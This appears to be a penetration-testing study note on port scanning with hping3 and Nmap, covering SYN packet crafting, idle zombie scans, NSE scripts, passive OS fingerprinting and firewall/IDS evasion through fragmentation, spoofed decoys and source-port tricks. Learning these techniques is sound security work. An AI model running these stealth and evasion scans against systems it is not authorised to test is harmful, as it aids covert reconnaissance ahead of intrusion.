To effectively utilize PPS we need to know where to find information and services and apps running on a specific port. In order to ensure we have covered all bases, it's best to run multiple scans using different techniques.
The Three-Way Handshake (TWH)
All TCP based connections begin with a simple exchange of messages.

The client sends a TCP packet to the server. The packet has the SYN flag enabled and a random sequence number set.
The server replies by sending a packet with both the SYN and ACK flag set and another random sequence number (ACK number is always a simple increment of the SYN)
Finally, the client completes by sending an ACK packet.
Crafting packets
Using hping we can craft a very simple TCP SYN packet to send to an IP:
hping3 -S [IP] -p 80
This repeatedly sends SYN packets to the IP on port 80 until we stop the program. For example, our host sends a packet with the SYN flag and the target responds with an (SA) SYN-ACK flag meaning the port is open otherwise it will respond with an (RA) Reset-ACK flag meaning the port is closed.
hping3 -S [IP] -p 80 -c 4
Adding the -c <number of packets>
flag tells hping to limit the packets sent to the number set then stop.
Hping has new scanning facilities which are called with -8
or โscan
flags:
hping3 -8 50-56 -S 4.2.2.1
With the scan flag, we have a much more flexible way to specify ports either by min-max
or port1,port2,port3
Idle Scan
The idle scan is a stealth scan that uses a zombie in the target network. A zombie is a host that is not sending or receiving any packets. The pre-requisites are:
Find a zombie that assigns IP ID both incrementally and globally
Find an idle zombie meaning that there should be no other traffic on the zombie that will disturb the IP ID
To find a zombie the steps are:
Run Nmap to determine if the IP ID sequence generation is incremental -
nmap -O -v [IP]
If we see the following:
IP ID Sequence Generation: Incremental
then we know we have a zombie
The steps required to mount it:
Probe the zombie's IP ID and record the value
Forge an SYN packet with the source address of the zombie and send it to the port of our target host
Probe the zombie's IP ID again and, pending upon the ID we can infer if the target port is open or closed
The steps for the actual attack:

We can do this in Nmap with the -sI
option, for example.
nmap -Pn -sI [ZOMBIE_IP:ZOMBIE_PORT] [TARGET_IP] -v
Other useful Nmap flags:
-n
: Never do DNS Resolution, we should use this whenever possible if we don't need to resolve our IP addresses to hostnames, It also will help reduce our scan times and generate less noise.-b
: FTP Bounce Scan is another stealthy scan. This type of scan exploits an FTP server's PORT command. If the server is vulnerable it allows us to launch port scans from the FTP server to other machines on the internet. All scans using this method will appear to have come from the FTP server. Another way to hide our original source.-sA
: Used to map out the rulesets of firewalls and determine if the devices are both stateful and which ports are filtered.-sO
: IP Protocol Scan cannot be considered a port scanning technique as it only enumerates the types of IP protocols that the target system supports.-sA
: Used to map out the rulesets of firewalls and determine if the devices are both stateful and which ports are filtered.
Nmap Scripting Engine (NSE)
To start with we need to update our NSE database
--script-updatedb
During the information gathering phase
--script whois-domain [target-domain] -sn
During the recon phase
--script smb-os-discovery -p 445 [target-ip]
For finding a good Zombie
--script ipidseq [target-ip] -p 135
These are just a select few but there are many more to use and it's even possible to write your own using LUA language.
Service and OS Detection
See https://app.gitbook.com/@tomhwarhurst/s/tc/pentesting-basics for active techniques
For Passive OS Fingerprinting a great tool can be used known as POf. It can be used to get the following without sending a single packet:
Host Uptime
OS/ Software
Distance from our current host
User-Agents
./pOf -i eth0
A simple service detection scan: nmap -sV -n [options] [targetIP]
Firewall/IDS Evasion
Most of the techniques covered could be detected and blocked by either Firewalls or ID's on the target network. This causes two issues:
Becoming exposed
Obtaining incorrect information
Fragmentation
The concept is simple, it's the process of splitting a single packet into smaller ones. This can disable the ability of some security system to either apply their packet fiiltering rules or to process all the fragments of data.
Modern ID's are able to rebuild fragmented packets meaning this technique can be ineffective. In Nmap we can run the fragmentation command like so:
-f obviously meaning fragment the packets.
nmap -sS -f [targetIP]
NB: Fragmentation does not work with -sT
or -sV
instead we can use --mtu
with the an offset that must be a multiple of eight.
Decoys
The aim of decoys is to add noise to the IDS by sending scans from spoofed IP's. This means the real attacker IP will appear on the list of ID's along with all the spoofed ones confusing whoever is watching the system. The attack requires these three steps:
All decoys are up and running so it's not easy to determine the real attacker's IP.
The real IP should appear in random order to the ID's.
ISP's traversed by spoofed traffic let the traffic go through.
nmap -sS -D [DecoyIP#1],[DecoyIP#2],[DecoyIP#3],ME [targetIP]
Source Ports
Nmap allows us to add the source port during scans so we may bypass restrictions. To use this we can use:--source-port [portnumber]
nmap -sS --source-port 53 [target]
All our scan will come from port 53
Last updated
Was this helpful?